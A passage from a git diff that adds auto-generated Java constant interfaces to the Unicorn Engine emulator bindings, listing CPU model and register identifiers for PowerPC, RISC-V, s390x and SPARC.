UC_CPU_PPC32_7457_V1_1 = 282; + public static final int UC_CPU_PPC32_7457_V1_2 = 283; + public static final int UC_CPU_PPC32_7447A_V1_0 = 284; + public static final int UC_CPU_PPC32_7457A_V1_0 = 285; + public static final int UC_CPU_PPC32_7447A_V1_1 = 286; + public static final int UC_CPU_PPC32_7457A_V1_1 = 287; + public static final int UC_CPU_PPC32_7447A_V1_2 = 288; + public static final int UC_CPU_PPC32_7457A_V1_2 = 289; + public static final int UC_CPU_PPC32_ENDING = 290; + + // PPC64 CPU + + public static final int UC_CPU_PPC64_E5500 = 0; + public static final int UC_CPU_PPC64_E6500 = 1; + public static final int UC_CPU_PPC64_970_V2_2 = 2; + public static final int UC_CPU_PPC64_970FX_V1_0 = 3; + public static final int UC_CPU_PPC64_970FX_V2_0 = 4; + public static final int UC_CPU_PPC64_970FX_V2_1 = 5; + public static final int UC_CPU_PPC64_970FX_V3_0 = 6; + public static final int UC_CPU_PPC64_970FX_V3_1 = 7; + public static final int UC_CPU_PPC64_970MP_V1_0 = 8; + public static final int UC_CPU_PPC64_970MP_V1_1 = 9; + public static final int UC_CPU_PPC64_POWER5_V2_1 = 10; + public static final int UC_CPU_PPC64_POWER7_V2_3 = 11; + public static final int UC_CPU_PPC64_POWER7_V2_1 = 12; + public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13; + public static final int UC_CPU_PPC64_POWER8_V2_0 = 14; + public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15; + public static final int UC_CPU_PPC64_POWER9_V1_0 = 16; + public static final int UC_CPU_PPC64_POWER9_V2_0 = 17; + public static final int UC_CPU_PPC64_POWER10_V1_0 = 18; + public static final int UC_CPU_PPC64_ENDING = 19; + + // PPC registers + + public static final int UC_PPC_REG_INVALID = 0; + + // General purpose registers + public static final int UC_PPC_REG_PC = 1; + public static final int UC_PPC_REG_0 = 2; + public static final int UC_PPC_REG_1 = 3; + public static final int UC_PPC_REG_2 = 4; + public static final int UC_PPC_REG_3 = 5; + public static final int UC_PPC_REG_4 = 6; + public static final int UC_PPC_REG_5 = 7; + public static final int UC_PPC_REG_6 = 8; + public static final int UC_PPC_REG_7 = 9; + public static final int UC_PPC_REG_8 = 10; + public static final int UC_PPC_REG_9 = 11; + public static final int UC_PPC_REG_10 = 12; + public static final int UC_PPC_REG_11 = 13; + public static final int UC_PPC_REG_12 = 14; + public static final int UC_PPC_REG_13 = 15; + public static final int UC_PPC_REG_14 = 16; + public static final int UC_PPC_REG_15 = 17; + public static final int UC_PPC_REG_16 = 18; + public static final int UC_PPC_REG_17 = 19; + public static final int UC_PPC_REG_18 = 20; + public static final int UC_PPC_REG_19 = 21; + public static final int UC_PPC_REG_20 = 22; + public static final int UC_PPC_REG_21 = 23; + public static final int UC_PPC_REG_22 = 24; + public static final int UC_PPC_REG_23 = 25; + public static final int UC_PPC_REG_24 = 26; + public static final int UC_PPC_REG_25 = 27; + public static final int UC_PPC_REG_26 = 28; + public static final int UC_PPC_REG_27 = 29; + public static final int UC_PPC_REG_28 = 30; + public static final int UC_PPC_REG_29 = 31; + public static final int UC_PPC_REG_30 = 32; + public static final int UC_PPC_REG_31 = 33; + public static final int UC_PPC_REG_CR0 = 34; + public static final int UC_PPC_REG_CR1 = 35; + public static final int UC_PPC_REG_CR2 = 36; + public static final int UC_PPC_REG_CR3 = 37; + public static final int UC_PPC_REG_CR4 = 38; + public static final int UC_PPC_REG_CR5 = 39; + public static final int UC_PPC_REG_CR6 = 40; + public static final int UC_PPC_REG_CR7 = 41; + public static final int UC_PPC_REG_FPR0 = 42; + public static final int UC_PPC_REG_FPR1 = 43; + public static final int UC_PPC_REG_FPR2 = 44; + public static final int UC_PPC_REG_FPR3 = 45; + public static final int UC_PPC_REG_FPR4 = 46; + public static final int UC_PPC_REG_FPR5 = 47; + public static final int UC_PPC_REG_FPR6 = 48; + public static final int UC_PPC_REG_FPR7 = 49; + public static final int UC_PPC_REG_FPR8 = 50; + public static final int UC_PPC_REG_FPR9 = 51; + public static final int UC_PPC_REG_FPR10 = 52; + public static final int UC_PPC_REG_FPR11 = 53; + public static final int UC_PPC_REG_FPR12 = 54; + public static final int UC_PPC_REG_FPR13 = 55; + public static final int UC_PPC_REG_FPR14 = 56; + public static final int UC_PPC_REG_FPR15 = 57; + public static final int UC_PPC_REG_FPR16 = 58; + public static final int UC_PPC_REG_FPR17 = 59; + public static final int UC_PPC_REG_FPR18 = 60; + public static final int UC_PPC_REG_FPR19 = 61; + public static final int UC_PPC_REG_FPR20 = 62; + public static final int UC_PPC_REG_FPR21 = 63; + public static final int UC_PPC_REG_FPR22 = 64; + public static final int UC_PPC_REG_FPR23 = 65; + public static final int UC_PPC_REG_FPR24 = 66; + public static final int UC_PPC_REG_FPR25 = 67; + public static final int UC_PPC_REG_FPR26 = 68; + public static final int UC_PPC_REG_FPR27 = 69; + public static final int UC_PPC_REG_FPR28 = 70; + public static final int UC_PPC_REG_FPR29 = 71; + public static final int UC_PPC_REG_FPR30 = 72; + public static final int UC_PPC_REG_FPR31 = 73; + public static final int UC_PPC_REG_LR = 74; + public static final int UC_PPC_REG_XER = 75; + public static final int UC_PPC_REG_CTR = 76; + public static final int UC_PPC_REG_MSR = 77; + public static final int UC_PPC_REG_FPSCR = 78; + public static final int UC_PPC_REG_CR = 79; + public static final int UC_PPC_REG_ENDING = 80; + +} diff --git a/bindings/java/src/main/java/unicorn/RiscvConst.java b/bindings/java/src/main/java/unicorn/RiscvConst.java new file mode 100644 index 0000000000..27b65bd472 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/RiscvConst.java @@ -0,0 +1,291 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface RiscvConst { + + // RISCV32 CPU + + public static final int UC_CPU_RISCV32_ANY = 0; + public static final int UC_CPU_RISCV32_BASE32 = 1; + public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2; + public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3; + public static final int UC_CPU_RISCV32_ENDING = 4; + + // RISCV64 CPU + + public static final int UC_CPU_RISCV64_ANY = 0; + public static final int UC_CPU_RISCV64_BASE64 = 1; + public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2; + public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3; + public static final int UC_CPU_RISCV64_ENDING = 4; + + // RISCV registers + + public static final int UC_RISCV_REG_INVALID = 0; + + // General purpose registers + public static final int UC_RISCV_REG_X0 = 1; + public static final int UC_RISCV_REG_X1 = 2; + public static final int UC_RISCV_REG_X2 = 3; + public static final int UC_RISCV_REG_X3 = 4; + public static final int UC_RISCV_REG_X4 = 5; + public static final int UC_RISCV_REG_X5 = 6; + public static final int UC_RISCV_REG_X6 = 7; + public static final int UC_RISCV_REG_X7 = 8; + public static final int UC_RISCV_REG_X8 = 9; + public static final int UC_RISCV_REG_X9 = 10; + public static final int UC_RISCV_REG_X10 = 11; + public static final int UC_RISCV_REG_X11 = 12; + public static final int UC_RISCV_REG_X12 = 13; + public static final int UC_RISCV_REG_X13 = 14; + public static final int UC_RISCV_REG_X14 = 15; + public static final int UC_RISCV_REG_X15 = 16; + public static final int UC_RISCV_REG_X16 = 17; + public static final int UC_RISCV_REG_X17 = 18; + public static final int UC_RISCV_REG_X18 = 19; + public static final int UC_RISCV_REG_X19 = 20; + public static final int UC_RISCV_REG_X20 = 21; + public static final int UC_RISCV_REG_X21 = 22; + public static final int UC_RISCV_REG_X22 = 23; + public static final int UC_RISCV_REG_X23 = 24; + public static final int UC_RISCV_REG_X24 = 25; + public static final int UC_RISCV_REG_X25 = 26; + public static final int UC_RISCV_REG_X26 = 27; + public static final int UC_RISCV_REG_X27 = 28; + public static final int UC_RISCV_REG_X28 = 29; + public static final int UC_RISCV_REG_X29 = 30; + public static final int UC_RISCV_REG_X30 = 31; + public static final int UC_RISCV_REG_X31 = 32; + + // RISCV CSR + public static final int UC_RISCV_REG_USTATUS = 33; + public static final int UC_RISCV_REG_UIE = 34; + public static final int UC_RISCV_REG_UTVEC = 35; + public static final int UC_RISCV_REG_USCRATCH = 36; + public static final int UC_RISCV_REG_UEPC = 37; + public static final int UC_RISCV_REG_UCAUSE = 38; + public static final int UC_RISCV_REG_UTVAL = 39; + public static final int UC_RISCV_REG_UIP = 40; + public static final int UC_RISCV_REG_FFLAGS = 41; + public static final int UC_RISCV_REG_FRM = 42; + public static final int UC_RISCV_REG_FCSR = 43; + public static final int UC_RISCV_REG_CYCLE = 44; + public static final int UC_RISCV_REG_TIME = 45; + public static final int UC_RISCV_REG_INSTRET = 46; + public static final int UC_RISCV_REG_HPMCOUNTER3 = 47; + public static final int UC_RISCV_REG_HPMCOUNTER4 = 48; + public static final int UC_RISCV_REG_HPMCOUNTER5 = 49; + public static final int UC_RISCV_REG_HPMCOUNTER6 = 50; + public static final int UC_RISCV_REG_HPMCOUNTER7 = 51; + public static final int UC_RISCV_REG_HPMCOUNTER8 = 52; + public static final int UC_RISCV_REG_HPMCOUNTER9 = 53; + public static final int UC_RISCV_REG_HPMCOUNTER10 = 54; + public static final int UC_RISCV_REG_HPMCOUNTER11 = 55; + public static final int UC_RISCV_REG_HPMCOUNTER12 = 56; + public static final int UC_RISCV_REG_HPMCOUNTER13 = 57; + public static final int UC_RISCV_REG_HPMCOUNTER14 = 58; + public static final int UC_RISCV_REG_HPMCOUNTER15 = 59; + public static final int UC_RISCV_REG_HPMCOUNTER16 = 60; + public static final int UC_RISCV_REG_HPMCOUNTER17 = 61; + public static final int UC_RISCV_REG_HPMCOUNTER18 = 62; + public static final int UC_RISCV_REG_HPMCOUNTER19 = 63; + public static final int UC_RISCV_REG_HPMCOUNTER20 = 64; + public static final int UC_RISCV_REG_HPMCOUNTER21 = 65; + public static final int UC_RISCV_REG_HPMCOUNTER22 = 66; + public static final int UC_RISCV_REG_HPMCOUNTER23 = 67; + public static final int UC_RISCV_REG_HPMCOUNTER24 = 68; + public static final int UC_RISCV_REG_HPMCOUNTER25 = 69; + public static final int UC_RISCV_REG_HPMCOUNTER26 = 70; + public static final int UC_RISCV_REG_HPMCOUNTER27 = 71; + public static final int UC_RISCV_REG_HPMCOUNTER28 = 72; + public static final int UC_RISCV_REG_HPMCOUNTER29 = 73; + public static final int UC_RISCV_REG_HPMCOUNTER30 = 74; + public static final int UC_RISCV_REG_HPMCOUNTER31 = 75; + public static final int UC_RISCV_REG_CYCLEH = 76; + public static final int UC_RISCV_REG_TIMEH = 77; + public static final int UC_RISCV_REG_INSTRETH = 78; + public static final int UC_RISCV_REG_HPMCOUNTER3H = 79; + public static final int UC_RISCV_REG_HPMCOUNTER4H = 80; + public static final int UC_RISCV_REG_HPMCOUNTER5H = 81; + public static final int UC_RISCV_REG_HPMCOUNTER6H = 82; + public static final int UC_RISCV_REG_HPMCOUNTER7H = 83; + public static final int UC_RISCV_REG_HPMCOUNTER8H = 84; + public static final int UC_RISCV_REG_HPMCOUNTER9H = 85; + public static final int UC_RISCV_REG_HPMCOUNTER10H = 86; + public static final int UC_RISCV_REG_HPMCOUNTER11H = 87; + public static final int UC_RISCV_REG_HPMCOUNTER12H = 88; + public static final int UC_RISCV_REG_HPMCOUNTER13H = 89; + public static final int UC_RISCV_REG_HPMCOUNTER14H = 90; + public static final int UC_RISCV_REG_HPMCOUNTER15H = 91; + public static final int UC_RISCV_REG_HPMCOUNTER16H = 92; + public static final int UC_RISCV_REG_HPMCOUNTER17H = 93; + public static final int UC_RISCV_REG_HPMCOUNTER18H = 94; + public static final int UC_RISCV_REG_HPMCOUNTER19H = 95; + public static final int UC_RISCV_REG_HPMCOUNTER20H = 96; + public static final int UC_RISCV_REG_HPMCOUNTER21H = 97; + public static final int UC_RISCV_REG_HPMCOUNTER22H = 98; + public static final int UC_RISCV_REG_HPMCOUNTER23H = 99; + public static final int UC_RISCV_REG_HPMCOUNTER24H = 100; + public static final int UC_RISCV_REG_HPMCOUNTER25H = 101; + public static final int UC_RISCV_REG_HPMCOUNTER26H = 102; + public static final int UC_RISCV_REG_HPMCOUNTER27H = 103; + public static final int UC_RISCV_REG_HPMCOUNTER28H = 104; + public static final int UC_RISCV_REG_HPMCOUNTER29H = 105; + public static final int UC_RISCV_REG_HPMCOUNTER30H = 106; + public static final int UC_RISCV_REG_HPMCOUNTER31H = 107; + public static final int UC_RISCV_REG_MCYCLE = 108; + public static final int UC_RISCV_REG_MINSTRET = 109; + public static final int UC_RISCV_REG_MCYCLEH = 110; + public static final int UC_RISCV_REG_MINSTRETH = 111; + public static final int UC_RISCV_REG_MVENDORID = 112; + public static final int UC_RISCV_REG_MARCHID = 113; + public static final int UC_RISCV_REG_MIMPID = 114; + public static final int UC_RISCV_REG_MHARTID = 115; + public static final int UC_RISCV_REG_MSTATUS = 116; + public static final int UC_RISCV_REG_MISA = 117; + public static final int UC_RISCV_REG_MEDELEG = 118; + public static final int UC_RISCV_REG_MIDELEG = 119; + public static final int UC_RISCV_REG_MIE = 120; + public static final int UC_RISCV_REG_MTVEC = 121; + public static final int UC_RISCV_REG_MCOUNTEREN = 122; + public static final int UC_RISCV_REG_MSTATUSH = 123; + public static final int UC_RISCV_REG_MUCOUNTEREN = 124; + public static final int UC_RISCV_REG_MSCOUNTEREN = 125; + public static final int UC_RISCV_REG_MHCOUNTEREN = 126; + public static final int UC_RISCV_REG_MSCRATCH = 127; + public static final int UC_RISCV_REG_MEPC = 128; + public static final int UC_RISCV_REG_MCAUSE = 129; + public static final int UC_RISCV_REG_MTVAL = 130; + public static final int UC_RISCV_REG_MIP = 131; + public static final int UC_RISCV_REG_MBADADDR = 132; + public static final int UC_RISCV_REG_SSTATUS = 133; + public static final int UC_RISCV_REG_SEDELEG = 134; + public static final int UC_RISCV_REG_SIDELEG = 135; + public static final int UC_RISCV_REG_SIE = 136; + public static final int UC_RISCV_REG_STVEC = 137; + public static final int UC_RISCV_REG_SCOUNTEREN = 138; + public static final int UC_RISCV_REG_SSCRATCH = 139; + public static final int UC_RISCV_REG_SEPC = 140; + public static final int UC_RISCV_REG_SCAUSE = 141; + public static final int UC_RISCV_REG_STVAL = 142; + public static final int UC_RISCV_REG_SIP = 143; + public static final int UC_RISCV_REG_SBADADDR = 144; + public static final int UC_RISCV_REG_SPTBR = 145; + public static final int UC_RISCV_REG_SATP = 146; + public static final int UC_RISCV_REG_HSTATUS = 147; + public static final int UC_RISCV_REG_HEDELEG = 148; + public static final int UC_RISCV_REG_HIDELEG = 149; + public static final int UC_RISCV_REG_HIE = 150; + public static final int UC_RISCV_REG_HCOUNTEREN = 151; + public static final int UC_RISCV_REG_HTVAL = 152; + public static final int UC_RISCV_REG_HIP = 153; + public static final int UC_RISCV_REG_HTINST = 154; + public static final int UC_RISCV_REG_HGATP = 155; + public static final int UC_RISCV_REG_HTIMEDELTA = 156; + public static final int UC_RISCV_REG_HTIMEDELTAH = 157; + + // Floating-point registers + public static final int UC_RISCV_REG_F0 = 158; + public static final int UC_RISCV_REG_F1 = 159; + public static final int UC_RISCV_REG_F2 = 160; + public static final int UC_RISCV_REG_F3 = 161; + public static final int UC_RISCV_REG_F4 = 162; + public static final int UC_RISCV_REG_F5 = 163; + public static final int UC_RISCV_REG_F6 = 164; + public static final int UC_RISCV_REG_F7 = 165; + public static final int UC_RISCV_REG_F8 = 166; + public static final int UC_RISCV_REG_F9 = 167; + public static final int UC_RISCV_REG_F10 = 168; + public static final int UC_RISCV_REG_F11 = 169; + public static final int UC_RISCV_REG_F12 = 170; + public static final int UC_RISCV_REG_F13 = 171; + public static final int UC_RISCV_REG_F14 = 172; + public static final int UC_RISCV_REG_F15 = 173; + public static final int UC_RISCV_REG_F16 = 174; + public static final int UC_RISCV_REG_F17 = 175; + public static final int UC_RISCV_REG_F18 = 176; + public static final int UC_RISCV_REG_F19 = 177; + public static final int UC_RISCV_REG_F20 = 178; + public static final int UC_RISCV_REG_F21 = 179; + public static final int UC_RISCV_REG_F22 = 180; + public static final int UC_RISCV_REG_F23 = 181; + public static final int UC_RISCV_REG_F24 = 182; + public static final int UC_RISCV_REG_F25 = 183; + public static final int UC_RISCV_REG_F26 = 184; + public static final int UC_RISCV_REG_F27 = 185; + public static final int UC_RISCV_REG_F28 = 186; + public static final int UC_RISCV_REG_F29 = 187; + public static final int UC_RISCV_REG_F30 = 188; + public static final int UC_RISCV_REG_F31 = 189; + public static final int UC_RISCV_REG_PC = 190; + public static final int UC_RISCV_REG_ENDING = 191; + + // Alias registers + public static final int UC_RISCV_REG_ZERO = 1; + public static final int UC_RISCV_REG_RA = 2; + public static final int UC_RISCV_REG_SP = 3; + public static final int UC_RISCV_REG_GP = 4; + public static final int UC_RISCV_REG_TP = 5; + public static final int UC_RISCV_REG_T0 = 6; + public static final int UC_RISCV_REG_T1 = 7; + public static final int UC_RISCV_REG_T2 = 8; + public static final int UC_RISCV_REG_S0 = 9; + public static final int UC_RISCV_REG_FP = 9; + public static final int UC_RISCV_REG_S1 = 10; + public static final int UC_RISCV_REG_A0 = 11; + public static final int UC_RISCV_REG_A1 = 12; + public static final int UC_RISCV_REG_A2 = 13; + public static final int UC_RISCV_REG_A3 = 14; + public static final int UC_RISCV_REG_A4 = 15; + public static final int UC_RISCV_REG_A5 = 16; + public static final int UC_RISCV_REG_A6 = 17; + public static final int UC_RISCV_REG_A7 = 18; + public static final int UC_RISCV_REG_S2 = 19; + public static final int UC_RISCV_REG_S3 = 20; + public static final int UC_RISCV_REG_S4 = 21; + public static final int UC_RISCV_REG_S5 = 22; + public static final int UC_RISCV_REG_S6 = 23; + public static final int UC_RISCV_REG_S7 = 24; + public static final int UC_RISCV_REG_S8 = 25; + public static final int UC_RISCV_REG_S9 = 26; + public static final int UC_RISCV_REG_S10 = 27; + public static final int UC_RISCV_REG_S11 = 28; + public static final int UC_RISCV_REG_T3 = 29; + public static final int UC_RISCV_REG_T4 = 30; + public static final int UC_RISCV_REG_T5 = 31; + public static final int UC_RISCV_REG_T6 = 32; + public static final int UC_RISCV_REG_FT0 = 158; + public static final int UC_RISCV_REG_FT1 = 159; + public static final int UC_RISCV_REG_FT2 = 160; + public static final int UC_RISCV_REG_FT3 = 161; + public static final int UC_RISCV_REG_FT4 = 162; + public static final int UC_RISCV_REG_FT5 = 163; + public static final int UC_RISCV_REG_FT6 = 164; + public static final int UC_RISCV_REG_FT7 = 165; + public static final int UC_RISCV_REG_FS0 = 166; + public static final int UC_RISCV_REG_FS1 = 167; + public static final int UC_RISCV_REG_FA0 = 168; + public static final int UC_RISCV_REG_FA1 = 169; + public static final int UC_RISCV_REG_FA2 = 170; + public static final int UC_RISCV_REG_FA3 = 171; + public static final int UC_RISCV_REG_FA4 = 172; + public static final int UC_RISCV_REG_FA5 = 173; + public static final int UC_RISCV_REG_FA6 = 174; + public static final int UC_RISCV_REG_FA7 = 175; + public static final int UC_RISCV_REG_FS2 = 176; + public static final int UC_RISCV_REG_FS3 = 177; + public static final int UC_RISCV_REG_FS4 = 178; + public static final int UC_RISCV_REG_FS5 = 179; + public static final int UC_RISCV_REG_FS6 = 180; + public static final int UC_RISCV_REG_FS7 = 181; + public static final int UC_RISCV_REG_FS8 = 182; + public static final int UC_RISCV_REG_FS9 = 183; + public static final int UC_RISCV_REG_FS10 = 184; + public static final int UC_RISCV_REG_FS11 = 185; + public static final int UC_RISCV_REG_FT8 = 186; + public static final int UC_RISCV_REG_FT9 = 187; + public static final int UC_RISCV_REG_FT10 = 188; + public static final int UC_RISCV_REG_FT11 = 189; + +} diff --git a/bindings/java/src/main/java/unicorn/S390xConst.java b/bindings/java/src/main/java/unicorn/S390xConst.java new file mode 100644 index 0000000000..fb422f51c3 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/S390xConst.java @@ -0,0 +1,128 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface S390xConst { + + // S390X CPU + + public static final int UC_CPU_S390X_Z900 = 0; + public static final int UC_CPU_S390X_Z900_2 = 1; + public static final int UC_CPU_S390X_Z900_3 = 2; + public static final int UC_CPU_S390X_Z800 = 3; + public static final int UC_CPU_S390X_Z990 = 4; + public static final int UC_CPU_S390X_Z990_2 = 5; + public static final int UC_CPU_S390X_Z990_3 = 6; + public static final int UC_CPU_S390X_Z890 = 7; + public static final int UC_CPU_S390X_Z990_4 = 8; + public static final int UC_CPU_S390X_Z890_2 = 9; + public static final int UC_CPU_S390X_Z990_5 = 10; + public static final int UC_CPU_S390X_Z890_3 = 11; + public static final int UC_CPU_S390X_Z9EC = 12; + public static final int UC_CPU_S390X_Z9EC_2 = 13; + public static final int UC_CPU_S390X_Z9BC = 14; + public static final int UC_CPU_S390X_Z9EC_3 = 15; + public static final int UC_CPU_S390X_Z9BC_2 = 16; + public static final int UC_CPU_S390X_Z10EC = 17; + public static final int UC_CPU_S390X_Z10EC_2 = 18; + public static final int UC_CPU_S390X_Z10BC = 19; + public static final int UC_CPU_S390X_Z10EC_3 = 20; + public static final int UC_CPU_S390X_Z10BC_2 = 21; + public static final int UC_CPU_S390X_Z196 = 22; + public static final int UC_CPU_S390X_Z196_2 = 23; + public static final int UC_CPU_S390X_Z114 = 24; + public static final int UC_CPU_S390X_ZEC12 = 25; + public static final int UC_CPU_S390X_ZEC12_2 = 26; + public static final int UC_CPU_S390X_ZBC12 = 27; + public static final int UC_CPU_S390X_Z13 = 28; + public static final int UC_CPU_S390X_Z13_2 = 29; + public static final int UC_CPU_S390X_Z13S = 30; + public static final int UC_CPU_S390X_Z14 = 31; + public static final int UC_CPU_S390X_Z14_2 = 32; + public static final int UC_CPU_S390X_Z14ZR1 = 33; + public static final int UC_CPU_S390X_GEN15A = 34; + public static final int UC_CPU_S390X_GEN15B = 35; + public static final int UC_CPU_S390X_QEMU = 36; + public static final int UC_CPU_S390X_MAX = 37; + public static final int UC_CPU_S390X_ENDING = 38; + + // S390X registers + + public static final int UC_S390X_REG_INVALID = 0; + + // General purpose registers + public static final int UC_S390X_REG_R0 = 1; + public static final int UC_S390X_REG_R1 = 2; + public static final int UC_S390X_REG_R2 = 3; + public static final int UC_S390X_REG_R3 = 4; + public static final int UC_S390X_REG_R4 = 5; + public static final int UC_S390X_REG_R5 = 6; + public static final int UC_S390X_REG_R6 = 7; + public static final int UC_S390X_REG_R7 = 8; + public static final int UC_S390X_REG_R8 = 9; + public static final int UC_S390X_REG_R9 = 10; + public static final int UC_S390X_REG_R10 = 11; + public static final int UC_S390X_REG_R11 = 12; + public static final int UC_S390X_REG_R12 = 13; + public static final int UC_S390X_REG_R13 = 14; + public static final int UC_S390X_REG_R14 = 15; + public static final int UC_S390X_REG_R15 = 16; + + // Floating point registers + public static final int UC_S390X_REG_F0 = 17; + public static final int UC_S390X_REG_F1 = 18; + public static final int UC_S390X_REG_F2 = 19; + public static final int UC_S390X_REG_F3 = 20; + public static final int UC_S390X_REG_F4 = 21; + public static final int UC_S390X_REG_F5 = 22; + public static final int UC_S390X_REG_F6 = 23; + public static final int UC_S390X_REG_F7 = 24; + public static final int UC_S390X_REG_F8 = 25; + public static final int UC_S390X_REG_F9 = 26; + public static final int UC_S390X_REG_F10 = 27; + public static final int UC_S390X_REG_F11 = 28; + public static final int UC_S390X_REG_F12 = 29; + public static final int UC_S390X_REG_F13 = 30; + public static final int UC_S390X_REG_F14 = 31; + public static final int UC_S390X_REG_F15 = 32; + public static final int UC_S390X_REG_F16 = 33; + public static final int UC_S390X_REG_F17 = 34; + public static final int UC_S390X_REG_F18 = 35; + public static final int UC_S390X_REG_F19 = 36; + public static final int UC_S390X_REG_F20 = 37; + public static final int UC_S390X_REG_F21 = 38; + public static final int UC_S390X_REG_F22 = 39; + public static final int UC_S390X_REG_F23 = 40; + public static final int UC_S390X_REG_F24 = 41; + public static final int UC_S390X_REG_F25 = 42; + public static final int UC_S390X_REG_F26 = 43; + public static final int UC_S390X_REG_F27 = 44; + public static final int UC_S390X_REG_F28 = 45; + public static final int UC_S390X_REG_F29 = 46; + public static final int UC_S390X_REG_F30 = 47; + public static final int UC_S390X_REG_F31 = 48; + + // Access registers + public static final int UC_S390X_REG_A0 = 49; + public static final int UC_S390X_REG_A1 = 50; + public static final int UC_S390X_REG_A2 = 51; + public static final int UC_S390X_REG_A3 = 52; + public static final int UC_S390X_REG_A4 = 53; + public static final int UC_S390X_REG_A5 = 54; + public static final int UC_S390X_REG_A6 = 55; + public static final int UC_S390X_REG_A7 = 56; + public static final int UC_S390X_REG_A8 = 57; + public static final int UC_S390X_REG_A9 = 58; + public static final int UC_S390X_REG_A10 = 59; + public static final int UC_S390X_REG_A11 = 60; + public static final int UC_S390X_REG_A12 = 61; + public static final int UC_S390X_REG_A13 = 62; + public static final int UC_S390X_REG_A14 = 63; + public static final int UC_S390X_REG_A15 = 64; + public static final int UC_S390X_REG_PC = 65; + public static final int UC_S390X_REG_PSWM = 66; + public static final int UC_S390X_REG_ENDING = 67; + + // Alias registers + +} diff --git a/bindings/java/src/main/java/unicorn/SparcConst.java b/bindings/java/src/main/java/unicorn/SparcConst.java new file mode 100644 index 0000000000..5a40764244 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/SparcConst.java @@ -0,0 +1,140 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface SparcConst { + + // SPARC32 CPU + + public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0; + public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3; + public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9; + public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10; + public static final int UC_CPU_SPARC32_LEON2 = 11; + public static final int UC_CPU_SPARC32_LEON3 = 12; + public static final int UC_CPU_SPARC32_ENDING = 13; + + // SPARC64 CPU + + public static final int UC_CPU_SPARC64_FUJITSU = 0; + public static final int UC_CPU_SPARC64_FUJITSU_III = 1; + public static final int UC_CPU_SPARC64_FUJITSU_IV = 2; + public static final int UC_CPU_SPARC64_FUJITSU_V = 3; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6; + public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14; + public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15; + public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16; + public static final int UC_CPU_SPARC64_ENDING = 17; + + // SPARC registers + + public static final int UC_SPARC_REG_INVALID = 0; + public static final int UC_SPARC_REG_F0 = 1; + public static final int UC_SPARC_REG_F1 = 2; + public static final int UC_SPARC_REG_F2 = 3; + public static final int UC_SPARC_REG_F3 = 4; + public static final int UC_SPARC_REG_F4 = 5; + public static final int UC_SPARC_REG_F5 = 6; + public static final int UC_SPARC_REG_F6 = 7; + public static final int UC_SPARC_REG_F7 = 8; + public static final int UC_SPARC_REG_F8 = 9; + public static final int UC_SPARC_REG_F9 = 10; + public static final int UC_SPARC_REG_F10 = 11; + public static final int UC_SPARC_REG_F11 = 12; + public static final int UC_SPARC_REG_F12 = 13; + public static final int UC_SPARC_REG_F13 = 14; + public static final int UC_SPARC_REG_F14 = 15; + public static final int UC_SPARC_REG_F15 = 16; + public static final int UC_SPARC_REG_F16 = 17; + public static final int UC_SPARC_REG_F17 = 18; + public static final int UC_SPARC_REG_F18 = 19; + public static final int UC_SPARC_REG_F19 = 20; + public static final int UC_SPARC_REG_F20 = 21; + public static final int UC_SPARC_REG_F21 = 22; + public static final int UC_SPARC_REG_F22 = 23; + public static final int UC_SPARC_REG_F23 = 24; + public static final int UC_SPARC_REG_F24 = 25; + public static final int UC_SPARC_REG_F25 = 26; + public static final int UC_SPARC_REG_F26 = 27; + public static final int UC_SPARC_REG_F27 = 28; + public static final int UC_SPARC_REG_F28 = 29; + public static final int UC_SPARC_REG_F29 = 30; + public static final int UC_SPARC_REG_F30 = 31; + public static final int UC_SPARC_REG_F31 = 32; + public static final int UC_SPARC_REG_F32 = 33; + public static final int UC_SPARC_REG_F34 = 34; + public static final int UC_SPARC_REG_F36 = 35; + public static final int UC_SPARC_REG_F38 = 36; + public static final int UC_SPARC_REG_F40 = 37; + public static final int UC_SPARC_REG_F42 = 38; + public static final int UC_SPARC_REG_F44 = 39; + public static final int UC_SPARC_REG_F46 = 40; + public static final int UC_SPARC_REG_F48 = 41; + public static final int UC_SPARC_REG_F50 = 42; + public static final int UC_SPARC_REG_F52 = 43; + public static final int UC_SPARC_REG_F54 = 44; + public static final int UC_SPARC_REG_F56 = 45; + public static final int UC_SPARC_REG_F58 = 46; + public static final int UC_SPARC_REG_F60 = 47; + public static final int 